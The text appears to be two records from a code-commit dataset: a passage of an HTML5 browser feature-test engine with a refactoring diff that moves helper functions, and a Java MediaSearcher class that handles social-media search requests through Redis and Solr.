'form.file': Browsers.isDevice('Xbox 360') || Browsers.isDevice('Xbox One') || Browsers.isDevice('Playstation 4') || Browsers.isOs('Windows Phone', '<', '8.1') || Browsers.isOs('iOS', '<', '6') || Browsers.isOs('Android', '<', '2.2'),
'form.date.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.month.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.week.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.time.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.datetime-local.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.color.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('UC Browser', '<', '9.8'),
'form.range.ui': Browsers.isBrowser('UC Browser', '<', '9.8'),
'form.progress.element': Browsers.isBrowser('Baidu Browser'),
'files.fileSystem': Browsers.isOs('BlackBerry Tablet OS'),
'input.getUserMedia': Browsers.isDevice('webOS TV') || Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('UC Browser', '<', '9.8') || Browsers.isBrowser('Dolphin'),
'input.getGamepads': Browsers.isDevice('webOS TV') || Browsers.isDevice('Playstation 4') || Browsers.isDevice('Wii U'),
'location.geolocation': Browsers.isDevice('webOS TV') || Browsers.isDevice('Xbox One') || Browsers.isBrowser('Baidu Browser') || Browsers.isOs('Google TV'),
'location.orientation': Browsers.isBrowser('Baidu Browser'),
'output.notifications': Browsers.isBrowser('Opera', '=', '18') || Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer'),
'output.requestFullScreen': Browsers.isBrowser('Sogou Explorer') || Browsers.isOs('BlackBerry Tablet OS') || Browsers.isOs('BlackBerry OS'),
'video.subtitle': Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer'),
'webgl.context': Browsers.isBrowser('Baidu Browser'),
}
],
[
DISABLED,
{
'elements.semantic.ping': Browsers.isBrowser('Firefox') || Browsers.isBrowser('Firefox Mobile')
}
],
[
UNCONFIRMED,
{
'interaction.dragdrop': !( Browsers.isType('desktop') ||
Browsers.isType('mobile', 'tablet', 'media') && (
Browsers.isBrowser('Opera') && Browsers.isEngine('Presto')
) ||
Browsers.isType('television') && (
Browsers.isDevice('webOS TV')
)
),
'interaction.editing': !( Browsers.isType('desktop') ||
Browsers.isType('mobile', 'tablet', 'media') && (
Browsers.isOs('iOS', '>=', '5') ||
Browsers.isOs('Android', '>=', '4') ||
Browsers.isOs('Windows Phone', '>=', '7.5') ||
Browsers.isOs('BlackBerry') ||
Browsers.isOs('BlackBerry OS') ||
Browsers.isOs('BlackBerry Tablet OS') ||
Browsers.isOs('Meego') ||
Browsers.isOs('Tizen') ||
Browsers.isEngine('Gecko') ||
Browsers.isEngine('Presto') ||
Browsers.isBrowser('Chrome') ||
Browsers.isBrowser('Polaris', '>=', '8')
) ||
Browsers.isType('television') && (
Browsers.isOs('Tizen') ||
Browsers.isDevice('webOS TV') ||
Browsers.isBrowser('Espial') ||
Browsers.isBrowser('MachBlue XT') ||
Browsers.isEngine('Presto', '>=', '2.9')
) ||
Browsers.isType('gaming') && (
Browsers.isDevice('Xbox 360') ||
Browsers.isDevice('Xbox One') ||
Browsers.isDevice('Playstation 4')
)
)
}
]
];
try {
this.backgroundTasks = [];
this.backgroundIds = {};
this.backgroundId = 0;
this.callback = callback;
this.results = new results(this);
for (var s = 0; s < testsuite.length; s++) {
testsuite[s](this.results);
}
this.waitForBackground();
}
catch(e) {
error(e);
}
},
waitForBackground: function() {
var that = this;
window.setTimeout(function() {
that.checkForBackground.call(that);
}, 300);
},
checkForBackground: function() {
var running = 0;
for (var task = 0; task < this.backgroundTasks.length; task++) { running += this.backgroundTasks[task] }
if (running) {
this.waitForBackground();
} else {
this.finished();
}
},
startBackground: function(id) {
var i = this.backgroundId++;
this.backgroundIds[id] = i;
this.backgroundTasks[i] = 1;
},
stopBackground: function(id) {
this.backgroundTasks[this.backgroundIds[id]] = 0;
},
finished: function() {
var uniqueid = (((1+Math.random())*0x1000000)|0).toString(16).substring(1) + ("0000000000" + (new Date().getTime() - new Date(2010,0,1).getTime()).toString(16)).slice(-10);
this.callback({
version: version,
revision: revision,
uniqueid: uniqueid,
results: this.results.toString(),
});
}
};
return test;
})();
| Move helper functions and classes to the bottom of the engine.js file
| scripts/8/engine.js | Move helper functions and classes to the bottom of the engine.js file | <ide><path>cripts/8/engine.js
<ide> var blacklists = [];
<ide>
<ide>
<del>
<del>
<del> function results (parent) { this.initialize(parent); }
<del> results.prototype = {
<del> initialize: function(parent) {
<del> this.parent = parent;
<del> this.items = [];
<del> },
<del>
<del> setItem: function(result) {
<del> var i = new item(this, result);
<del> this.items.push(i);
<del> return i;
<del> },
<del>
<del> startBackground: function(key) {
<del> this.parent.startBackground(key);
<del> },
<del>
<del> stopBackground: function(key) {
<del> this.parent.stopBackground(key);
<del> },
<del>
<del> toString: function() {
<del> var results = [];
<del>
<del> for (var i = 0; i < this.items.length; i++) {
<del> if (typeof this.items[i].data.passed != 'undefined') results.push(this.items[i].data.key + '=' + (+this.items[i].data.passed));
<del> }
<del>
<del> return results.join(',');
<del> }
<del> };
<del>
<del> function item (parent, data) { this.initialize(parent, data); }
<del> item.prototype = {
<del> initialize: function(parent, data) {
<del> this.parent = parent;
<del> this.data = data;
<del>
<del> if (typeof this.data.passed == 'undefined') this.data.passed = false;
<del>
<del> if (this.data.passed) {
<del> var blacklist = this.isOnBlacklist();
<del> if (blacklist) {
<del> this.data.passed = blacklist;
<del> }
<del> }
<del> },
<del>
<del> update: function(data) {
<del> for (var key in data) {
<del> this.data[key] = data[key];
<del> }
<del>
<del> if (typeof this.data.passed == 'undefined') this.data.passed = false;
<del>
<del> if (this.data.passed) {
<del> var blacklist = this.isOnBlacklist();
<del> if (blacklist) {
<del> this.data.passed = blacklist;
<del> }
<del> }
<del> },
<del>
<del> isOnBlacklist: function() {
<del> var part = '';
<del> var parts = this.data.key.split('.');
<del> for (var i = 0; i < parts.length; i++) {
<del> part += (i == 0 ? '' : '.') + parts[i];
<del>
<del> for (var k = 0; k < blacklists.length; k++) {
<del> if (typeof blacklists[k][1][part] != 'undefined') {
<del> if (blacklists[k][1][part]) {
<del> if (console && console.log) console.log('BLOCKED TEST: ' + part + '!');
<del> return blacklists[k][0];
<del> }
<del> }
<del> }
<del> }
<del>
<del> return false;
<del> },
<del>
<del> startBackground: function() {
<del> this.parent.startBackground(this.data.key);
<del> },
<del>
<del> stopBackground: function() {
<del> this.parent.stopBackground(this.data.key);
<del> }
<del> };
<del>
<del>
<del>
<del> var isEventSupported = (function(){
<del>
<del> var TAGNAMES = {
<del> 'select':'input','change':'input','input':'input',
<del> 'submit':'form','reset':'form','forminput':'form','formchange':'form',
<del> 'error':'img','load':'img','abort':'img'
<del> }
<del>
<del> function isEventSupported(eventName, element) {
<del> element = element || document.createElement(TAGNAMES[eventName] || 'div');
<del> eventName = 'on' + eventName;
<del>
<del> var isSupported = (eventName in element);
<del>
<del> if (!isSupported) {
<del> if (!element.setAttribute) {
<del> element = document.createElement('div');
<del> }
<del> if (element.setAttribute && element.removeAttribute) {
<del> element.setAttribute(eventName, '');
<del> isSupported = typeof element[eventName] == 'function';
<del>
<del> if (typeof element[eventName] != 'undefined') {
<del> element[eventName] = void 0;
<del> }
<del> element.removeAttribute(eventName);
<del> }
<del> }
<del>
<del> element = null;
<del> return isSupported;
<del> }
<del>
<del> return isEventSupported;
<del> })();
<del>
<del>
<del> var log = function(m){
<del> if (console && console.log) {
<del> console.log(m);
<del> }
<del> };
<del>
<del>
<del> var canPlayType = function(element, type) {
<del> /*
<del> There is a bug in iOS 4.1 or earlier where probably and maybe are switched around.
<del> This bug was reported and fixed in iOS 4.2
<del> */
<del>
<del> if (Browsers.isOs('iOS', '<', '4.2'))
<del> return element.canPlayType(type) == 'probably' || element.canPlayType(type) == 'maybe';
<del> else
<del> return element.canPlayType(type) == 'probably';
<del> };
<del>
<del>
<del> var closesImplicitly = function(name) {
<del> var foo = document.createElement('div');
<del> foo.innerHTML = '<p><' + name + '></' + name + '>';
<del> return foo.childNodes.length == 2;
<del> };
<del>
<del> var getStyle = function(element, name) {
<del> function camelCase(str){
<del> return str.replace(/-\D/g, function(match){
<del> return match.charAt(1).toUpperCase()
<del> })
<del> }
<del>
<del> if (element.style[name]) {
<del> return element.style[name];
<del> } else if (element.currentStyle) {
<del> return element.currentStyle[camelCase(name)];
<del> }
<del> else if (document.defaultView && document.defaultView.getComputedStyle) {
<del> s = document.defaultView.getComputedStyle(element, "");
<del> return s && s.getPropertyValue(name);
<del> } else {
<del> return null;
<del> }
<del> };
<del>
<del> var isBlock = function(element) {
<del> return getStyle(element, 'display') == 'block';
<del> };
<del>
<del> var isHidden = function(element) {
<del> return getStyle(element, 'display') == 'none';
<del> };
<del>
<del>
<del>
<del>
<del>
<del>
<del>
<ide> var testsuite = [
<add>
<ide> function(results) {
<ide>
<ide> /* doctype */
<ide> }
<ide> ];
<ide>
<del>
<add>
<add>
<add>
<add> /* Helper functions */
<add>
<add> var isEventSupported = (function(){
<add> var TAGNAMES = {
<add> 'select':'input','change':'input','input':'input',
<add> 'submit':'form','reset':'form','forminput':'form','formchange':'form',
<add> 'error':'img','load':'img','abort':'img'
<add> }
<add>
<add> function isEventSupported(eventName, element) {
<add> element = element || document.createElement(TAGNAMES[eventName] || 'div');
<add> eventName = 'on' + eventName;
<add>
<add> var isSupported = (eventName in element);
<add>
<add> if (!isSupported) {
<add> if (!element.setAttribute) {
<add> element = document.createElement('div');
<add> }
<add> if (element.setAttribute && element.removeAttribute) {
<add> element.setAttribute(eventName, '');
<add> isSupported = typeof element[eventName] == 'function';
<add>
<add> if (typeof element[eventName] != 'undefined') {
<add> element[eventName] = void 0;
<add> }
<add> element.removeAttribute(eventName);
<add> }
<add> }
<add>
<add> element = null;
<add> return isSupported;
<add> }
<add>
<add> return isEventSupported;
<add> })();
<add>
<add> var log = function(m){
<add> if (console && console.log) {
<add> console.log(m);
<add> }
<add> };
<add>
<add> var canPlayType = function(element, type) {
<add> /*
<add> There is a bug in iOS 4.1 or earlier where probably and maybe are switched around.
<add> This bug was reported and fixed in iOS 4.2
<add> */
<add>
<add> if (Browsers.isOs('iOS', '<', '4.2'))
<add> return element.canPlayType(type) == 'probably' || element.canPlayType(type) == 'maybe';
<add> else
<add> return element.canPlayType(type) == 'probably';
<add> };
<add>
<add> var closesImplicitly = function(name) {
<add> var foo = document.createElement('div');
<add> foo.innerHTML = '<p><' + name + '></' + name + '>';
<add> return foo.childNodes.length == 2;
<add> };
<add>
<add> var getStyle = function(element, name) {
<add> function camelCase(str){
<add> return str.replace(/-\D/g, function(match){
<add> return match.charAt(1).toUpperCase()
<add> })
<add> }
<add>
<add> if (element.style[name]) {
<add> return element.style[name];
<add> } else if (element.currentStyle) {
<add> return element.currentStyle[camelCase(name)];
<add> }
<add> else if (document.defaultView && document.defaultView.getComputedStyle) {
<add> s = document.defaultView.getComputedStyle(element, "");
<add> return s && s.getPropertyValue(name);
<add> } else {
<add> return null;
<add> }
<add> };
<add>
<add> var isBlock = function(element) {
<add> return getStyle(element, 'display') == 'block';
<add> };
<add>
<add> var isHidden = function(element) {
<add> return getStyle(element, 'display') == 'none';
<add> };
<add>
<add>
<add>
<add>
<add> /* Classes */
<add>
<add> function results (parent) { this.initialize(parent); }
<add> results.prototype = {
<add> initialize: function(parent) {
<add> this.parent = parent;
<add> this.items = [];
<add> },
<add>
<add> setItem: function(result) {
<add> var i = new item(this, result);
<add> this.items.push(i);
<add> return i;
<add> },
<add>
<add> startBackground: function(key) {
<add> this.parent.startBackground(key);
<add> },
<add>
<add> stopBackground: function(key) {
<add> this.parent.stopBackground(key);
<add> },
<add>
<add> toString: function() {
<add> var results = [];
<add>
<add> for (var i = 0; i < this.items.length; i++) {
<add> if (typeof this.items[i].data.passed != 'undefined') results.push(this.items[i].data.key + '=' + (+this.items[i].data.passed));
<add> }
<add>
<add> return results.join(',');
<add> }
<add> };
<add>
<add> function item (parent, data) { this.initialize(parent, data); }
<add> item.prototype = {
<add> initialize: function(parent, data) {
<add> this.parent = parent;
<add> this.data = data;
<add>
<add> if (typeof this.data.passed == 'undefined') this.data.passed = false;
<add>
<add> if (this.data.passed) {
<add> var blacklist = this.isOnBlacklist();
<add> if (blacklist) {
<add> this.data.passed = blacklist;
<add> }
<add> }
<add> },
<add>
<add> update: function(data) {
<add> for (var key in data) {
<add> this.data[key] = data[key];
<add> }
<add>
<add> if (typeof this.data.passed == 'undefined') this.data.passed = false;
<add>
<add> if (this.data.passed) {
<add> var blacklist = this.isOnBlacklist();
<add> if (blacklist) {
<add> this.data.passed = blacklist;
<add> }
<add> }
<add> },
<add>
<add> isOnBlacklist: function() {
<add> var part = '';
<add> var parts = this.data.key.split('.');
<add> for (var i = 0; i < parts.length; i++) {
<add> part += (i == 0 ? '' : '.') + parts[i];
<add>
<add> for (var k = 0; k < blacklists.length; k++) {
<add> if (typeof blacklists[k][1][part] != 'undefined') {
<add> if (blacklists[k][1][part]) {
<add> if (console && console.log) console.log('BLOCKED TEST: ' + part + '!');
<add> return blacklists[k][0];
<add> }
<add> }
<add> }
<add> }
<add>
<add> return false;
<add> },
<add>
<add> startBackground: function() {
<add> this.parent.startBackground(this.data.key);
<add> },
<add>
<add> stopBackground: function() {
<add> this.parent.stopBackground(this.data.key);
<add> }
<add> };
<ide>
<ide> function test (callback, error) { this.initialize(callback, error); }
<ide> test.prototype = { |
|
Java | apache-2.0 | ead13bdc439898341d31ee23a960a0b1045795f0 | 0 | socialsensor/socialsensor-stream-manager,socialsensor/socialsensor-stream-manager,MKLab-ITI/mklab-stream-manager,socialsensor/socialsensor-stream-manager | package eu.socialsensor.sfc.streams.management;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Queue;
import java.util.Set;
import java.util.UUID;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.log4j.Logger;
import org.xml.sax.SAXException;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import redis.clients.jedis.JedisPubSub;
import eu.socialsensor.framework.client.search.solr.SolrDyscoHandler;
import eu.socialsensor.framework.common.domain.Feed;
import eu.socialsensor.framework.common.domain.Item;
import eu.socialsensor.framework.common.domain.Keyword;
import eu.socialsensor.framework.common.domain.Query;
import eu.socialsensor.framework.common.domain.dysco.Dysco;
import eu.socialsensor.framework.common.domain.dysco.Dysco.DyscoType;
import eu.socialsensor.framework.common.domain.dysco.Message;
import eu.socialsensor.framework.common.domain.dysco.Message.Action;
import eu.socialsensor.framework.common.domain.feeds.KeywordsFeed;
import eu.socialsensor.framework.streams.Stream;
import eu.socialsensor.framework.streams.StreamConfiguration;
import eu.socialsensor.framework.streams.StreamException;
import eu.socialsensor.sfc.builder.FeedsCreator;
import eu.socialsensor.sfc.builder.SolrQueryBuilder;
import eu.socialsensor.sfc.builder.input.DataInputType;
import eu.socialsensor.sfc.streams.StreamsManagerConfiguration;
import eu.socialsensor.sfc.streams.monitors.StreamsMonitor;
public class MediaSearcher {
private static String REDIS_HOST = "redis.host";
private static String SOLR_HOST = "solr.hostname";
private static String SOLR_SERVICE = "solr.service";
private static String DYSCO_COLLECTION = "dyscos.collection";
public final Logger logger = Logger.getLogger(StreamsManager.class);
enum MediaSearcherState {
OPEN, CLOSE
}
private MediaSearcherState state = MediaSearcherState.CLOSE;
private StreamsManagerConfiguration config = null;
private StoreManager storeManager;
private StreamsMonitor monitor;
private Jedis subscriberJedis;
private DyscoRequestHandler dyscoRequestHandler;
private DyscoRequestReceiver dyscoRequestReceiver;
private DyscoUpdateAgent dyscoUpdateAgent;
private TrendingSearchHandler trendingSearchHandler;
private CustomSearchHandler customSearchHandler;
private SystemAgent systemAgent;
private SolrQueryBuilder queryBuilder;
private String redisHost;
private String solrHost;
private String solrService;
private String dyscoCollection;
private Map<String, Stream> streams = null;
private Queue<Dysco> requests = new LinkedList<Dysco>();
private Queue<String> dyscosToUpdate = new LinkedList<String>();
private Map<String,List<Query>> dyscosToQueries = new HashMap<String,List<Query>>();
public MediaSearcher(StreamsManagerConfiguration config) throws StreamException{
if (config == null) {
throw new StreamException("Manager's configuration must be specified");
}
this.config = config;
this.redisHost = config.getParameter(MediaSearcher.REDIS_HOST);
this.solrHost = config.getParameter(MediaSearcher.SOLR_HOST);
this.solrService = config.getParameter(MediaSearcher.SOLR_SERVICE);
this.dyscoCollection = config.getParameter(MediaSearcher.DYSCO_COLLECTION);
//Set up the Streams
initStreams();
//Set up the Storages
storeManager = new StoreManager(config);
}
/**
* Opens Manager by starting the auxiliary modules and setting up
* the database for reading/storing
* @throws StreamException
*/
public synchronized void open() throws StreamException {
if (state == MediaSearcherState.OPEN) {
return;
}
state = MediaSearcherState.OPEN;
this.systemAgent = new SystemAgent(storeManager,this);
systemAgent.start();
storeManager.start();
logger.info("Store Manager is ready to store.");
for (String streamId : streams.keySet()) {
logger.info("MediaSearcher - Start Stream : "+streamId);
StreamConfiguration sconfig = config.getStreamConfig(streamId);
Stream stream = streams.get(streamId);
stream.setHandler(storeManager);
stream.open(sconfig);
}
logger.info("Streams are now open");
//If there are Streams to monitor start the StreamsMonitor
if(streams != null && !streams.isEmpty()){
monitor = new StreamsMonitor(streams.size());
monitor.addStreams(streams);
logger.info("Streams added to monitor");
}
else {
logger.error("Streams Monitor cannot be started");
}
//start handlers
this.dyscoRequestHandler = new DyscoRequestHandler();
this.dyscoRequestReceiver = new DyscoRequestReceiver();
this.dyscoUpdateAgent = new DyscoUpdateAgent();
this.trendingSearchHandler = new TrendingSearchHandler(this);
this.customSearchHandler = new CustomSearchHandler(this);
try {
this.queryBuilder = new SolrQueryBuilder();
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
dyscoRequestHandler.start();
dyscoUpdateAgent.start();
trendingSearchHandler.start();
customSearchHandler.start();
JedisPoolConfig poolConfig = new JedisPoolConfig();
JedisPool jedisPool = new JedisPool(poolConfig, redisHost, 6379, 0);
this.subscriberJedis = jedisPool.getResource();
new Thread(new Runnable() {
@Override
public void run() {
try {
logger.info("Try to subscribe to redis");
subscriberJedis.subscribe(dyscoRequestReceiver,eu.socialsensor.framework.client.search.MediaSearcher.CHANNEL);
} catch (Exception e) {
}
}
}).start();
state = MediaSearcherState.OPEN;
//Code to be removed
String dyscoId = "efa3bb3c-9247-4bd9-be49-440615c754df";
Action action = Action.NEW;
SolrDyscoHandler testSolrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);;
Dysco dysco = testSolrdyscoHandler.findDyscoLight(dyscoId);
requests.add(dysco);
//Code to be removed
Runtime.getRuntime().addShutdownHook(new Shutdown(this));
}
/**
* Closes Manager along with its auxiliary modules
* @throws StreamException
*/
public synchronized void close() throws StreamException {
if (state == MediaSearcherState.CLOSE) {
return;
}
try{
for (Stream stream : streams.values()) {
stream.close();
}
// if(dyscoRequestReceiver != null){
// dyscoRequestReceiver.close();
// System.out.println("dyscoRequestReceiver closed");
// }
//
// if(dyscoRequestHandler != null){
// dyscoRequestHandler.close();
// System.out.println("dyscoRequestHandler closed");
// }
state = MediaSearcherState.CLOSE;
System.out.println("MediaSearcher closed");
}catch(Exception e) {
throw new StreamException("Error during streams close",e);
}
}
/**
* Searches for a dysco request depending on its feeds
* @param feeds to search
*/
public synchronized List<Item> search(List<Feed> feeds,Set<String>streamsToSearch){
Integer totalItems = 0;
long t1 = System.currentTimeMillis();
if(feeds != null && !feeds.isEmpty()){
monitor.retrieveFromSelectedStreams(streamsToSearch, feeds);
while(!monitor.areAllStreamsFinished()){
}
totalItems = monitor.getTotalRetrievedItems().size();
}
long t2 = System.currentTimeMillis();
logger.info("Total items fetched : "+totalItems+" in "+(t2-t1)/1000+" seconds");
return monitor.getTotalRetrievedItems();
}
/**
* Initializes the streams that correspond to the wrappers
* that are used for multimedia retrieval
* @throws StreamException
*/
private void initStreams() throws StreamException {
streams = new HashMap<String,Stream>();
try{
for (String streamId : config.getStreamIds()){
StreamConfiguration sconfig = config.getStreamConfig(streamId);
streams.put(streamId,(Stream)Class.forName(sconfig.getParameter(StreamConfiguration.CLASS_PATH)).newInstance());
}
}catch(Exception e) {
e.printStackTrace();
throw new StreamException("Error during streams initialization",e);
}
}
/**
* Class for searching for custom dysco requests
* @author ailiakop
*
*/
public class CustomSearchHandler extends Thread {
private Queue<String> customDyscoQueue = new LinkedList<String>();
private Map<String,List<Feed>> inputFeedsPerDysco = new HashMap<String,List<Feed>>();
private Map<String,Long> requestsLifetime = new HashMap<String,Long>();
private Map<String,Long> requestsTimestamps = new HashMap<String,Long>();
private MediaSearcher searcher;
private boolean isAlive = true;
private static final long frequency = 2 * 300000; //ten minutes
private static final long periodOfTime = 48 * 3600000; //two days
public CustomSearchHandler(MediaSearcher mediaSearcher){
this.searcher = mediaSearcher;
}
public void addCustomDysco(String dyscoId,List<Feed> inputFeeds){
logger.info("New incoming dysco : "+dyscoId+" with "+inputFeeds.size()+" searchable feeds");
customDyscoQueue.add(dyscoId);
inputFeedsPerDysco.put(dyscoId, inputFeeds);
requestsLifetime.put(dyscoId, System.currentTimeMillis());
requestsTimestamps.put(dyscoId, System.currentTimeMillis());
}
public void deleteCustomDysco(String dyscoId){
inputFeedsPerDysco.remove(dyscoId);
requestsLifetime.remove(dyscoId);
requestsTimestamps.remove(dyscoId);
}
public void run(){
String dyscoId = null;
while(isAlive){
updateCustomQueue();
dyscoId = poll();
if(dyscoId == null){
continue;
}
else{
logger.info("Media Searcher handling #"+dyscoId);
List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
inputFeedsPerDysco.remove(dyscoId);
searcher.search(feeds,streams.keySet());
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (customDyscoQueue) {
if (!customDyscoQueue.isEmpty()) {
String request = customDyscoQueue.poll();
return request;
}
try {
customDyscoQueue.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
/**
* Stops TrendingSearchHandler
*/
public synchronized void close(){
isAlive = false;
}
/**
* Updates the queue of custom dyscos' requests and re-examines or deletes
* requests according to their time in the system
*/
private synchronized void updateCustomQueue(){
List<String> requestsToRemove = new ArrayList<String>();
long currentTime = System.currentTimeMillis();
for(Map.Entry<String, Long> entry : requestsLifetime.entrySet()){
// System.out.println("Checking dysco : "+entry.getKey().getId()+" that has time in system : "+(currentTime - entry.getValue())/1000);
if(currentTime - entry.getValue() > frequency){
entry.setValue(currentTime);
String requestToSearch = entry.getKey();
customDyscoQueue.add(requestToSearch);
requestsLifetime.put(entry.getKey(), System.currentTimeMillis());
if(currentTime - requestsTimestamps.get(entry.getKey())> periodOfTime){
requestsToRemove.add(entry.getKey());
}
}
}
if(!requestsToRemove.isEmpty()){
for(String requestToRemove : requestsToRemove){
deleteCustomDysco(requestToRemove);
}
requestsToRemove.clear();
}
}
}
/**
* Class for searching for trending dysco requests
* @author ailiakop
*
*/
public class TrendingSearchHandler extends Thread {
private Queue<String> trendingDyscoQueue = new LinkedList<String>();
private Map<String,List<Feed>> inputFeedsPerDysco = new HashMap<String,List<Feed>>();
private List<Item> retrievedItems = new ArrayList<Item>();
private Set<String> primaryStreamsToSearch = new HashSet<String>();
private MediaSearcher searcher;
private boolean isAlive = true;
private Date retrievalDate;
public TrendingSearchHandler(MediaSearcher mediaSearcher){
this.searcher = mediaSearcher;
primaryStreamsToSearch.addAll(streams.keySet());
primaryStreamsToSearch.remove("Facebook");
}
public void addTrendingDysco(String dyscoId,List<Feed> inputFeeds){
logger.info("New incoming dysco : "+dyscoId+" with "+inputFeeds.size()+" searchable feeds");
trendingDyscoQueue.add(dyscoId);
inputFeedsPerDysco.put(dyscoId, inputFeeds);
}
public void run(){
String dyscoId = null;
while(isAlive){
dyscoId = poll();
if(dyscoId == null){
continue;
}
else{
long start = System.currentTimeMillis();
logger.info("Media Searcher handling #"+dyscoId);
List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
retrievalDate = feeds.get(0).getDateToRetrieve();
inputFeedsPerDysco.remove(dyscoId);
retrievedItems = searcher.search(feeds,primaryStreamsToSearch);
List<Query> queries = queryBuilder.getFurtherProcessedSolrQueries(retrievedItems,5);
dyscosToQueries.put(dyscoId, queries);
dyscosToUpdate.add(dyscoId);
List<Feed> newFeeds = translateQueriesToKeywordsFeeds(queries,retrievalDate);
long end = System.currentTimeMillis();
System.out.println("Media Searcher Time : "+(end-start)/1000+" sec ");
searcher.search(newFeeds,streams.keySet());
long afterEnd = System.currentTimeMillis();
System.out.println("Total Time : "+(afterEnd-start)/1000+" sec ");
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (trendingDyscoQueue) {
if (!trendingDyscoQueue.isEmpty()) {
String request = trendingDyscoQueue.poll();
return request;
}
try {
trendingDyscoQueue.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
/**
* Stops TrendingSearchHandler
*/
public synchronized void close(){
isAlive = false;
}
private List<Feed> translateQueriesToKeywordsFeeds(List<Query> queries,Date dateToRetrieve)
{
List<Feed> feeds = new ArrayList<Feed>();
for(Query query : queries){
UUID UUid = UUID.randomUUID();
feeds.add(new KeywordsFeed(new Keyword(query.getName(),query.getScore()),dateToRetrieve,UUid.toString()));
}
return feeds;
}
}
/**
* Class for handling incoming dysco requests that are received with redis
* @author ailiakop
*
*/
private class DyscoRequestHandler extends Thread {
private boolean isAlive = true;
private FeedsCreator feedsCreator;
private List<Feed> feeds;
public DyscoRequestHandler(){
}
public void run(){
Dysco receivedDysco = null;
while(isAlive){
receivedDysco = poll();
if(receivedDysco == null){
continue;
}
else{
feedsCreator = new FeedsCreator(DataInputType.DYSCO,receivedDysco);
feeds = feedsCreator.getQuery();
if(receivedDysco.getDyscoType().equals(DyscoType.TRENDING)){
trendingSearchHandler.addTrendingDysco(receivedDysco.getId(), feeds);
}
else if(receivedDysco.getDyscoType().equals(DyscoType.CUSTOM)){
customSearchHandler.addCustomDysco(receivedDysco.getId(), feeds);
}
else{
logger.error("Unsupported dysco - Cannot be processed from MediaSearcher");
}
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private Dysco poll(){
synchronized (requests) {
if (!requests.isEmpty()) {
Dysco request = requests.poll();
return request;
}
try {
requests.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
public void close(){
isAlive = false;
}
}
public class DyscoUpdateAgent extends Thread{
private SolrDyscoHandler solrdyscoHandler;
private boolean isAlive = true;
public DyscoUpdateAgent(){
this.solrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);
}
public void run(){
String dyscoToUpdate = null;
while(isAlive){
dyscoToUpdate = poll();
if(dyscoToUpdate == null){
continue;
}
else{
List<Query> solrQueries = dyscosToQueries.get(dyscoToUpdate);
Dysco updatedDysco = solrdyscoHandler.findDyscoLight(dyscoToUpdate);
updatedDysco.setSolrQueries(solrQueries);
solrdyscoHandler.insertDysco(updatedDysco);
dyscosToQueries.remove(dyscoToUpdate);
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (dyscosToUpdate) {
if (!dyscosToUpdate.isEmpty()) {
String dyscoToUpdate = dyscosToUpdate.poll();
return dyscoToUpdate;
}
try {
dyscosToUpdate.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
public void close(){
isAlive = false;
}
}
public class DyscoRequestReceiver extends JedisPubSub{
private SolrDyscoHandler solrdyscoHandler;
public DyscoRequestReceiver(){
this.solrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);
}
/**
* Alerts the system that a new dysco request is received
* New dysco requests are added to a queue to be further
* processed by the DyscoRequestFeedsCreator thread.
* In case the dysco request already exists in mongo db,
* it is deleted from the system and not processed further.
*/
@Override
public void onMessage(String channel, String message) {
logger.info("Received dysco request : "+message);
Message dyscoMessage = Message.create(message);
String dyscoId = dyscoMessage.getDyscoId();
Action action = dyscoMessage.getAction();
switch(action){
case NEW :
logger.info("New dysco with id : "+dyscoId+" created");
Dysco dysco = solrdyscoHandler.findDyscoLight(dyscoId);
if(dysco == null){
logger.error("Invalid dysco request");
return;
}
requests.add(dysco);
break;
case UPDATE:
logger.info("Dysco with id : "+dyscoId+" updated");
break;
case DELETE:
logger.info("Dysco with id : "+dyscoId+" deleted");
break;
}
}
@Override
public void onPMessage(String pattern, String channel, String message) {
// Do Nothing
}
@Override
public void onSubscribe(String channel, int subscribedChannels) {
// Do Nothing
}
@Override
public void onUnsubscribe(String channel, int subscribedChannels) {
// Do Nothing
}
@Override
public void onPUnsubscribe(String pattern, int subscribedChannels) {
// Do Nothing
}
@Override
public void onPSubscribe(String pattern, int subscribedChannels) {
// Do Nothing
}
public void close(){
subscriberJedis.quit();
}
}
/**
* Class in case system is shutdown
* Responsible to close all services
* that are running at the time being
* @author ailiakop
*
*/
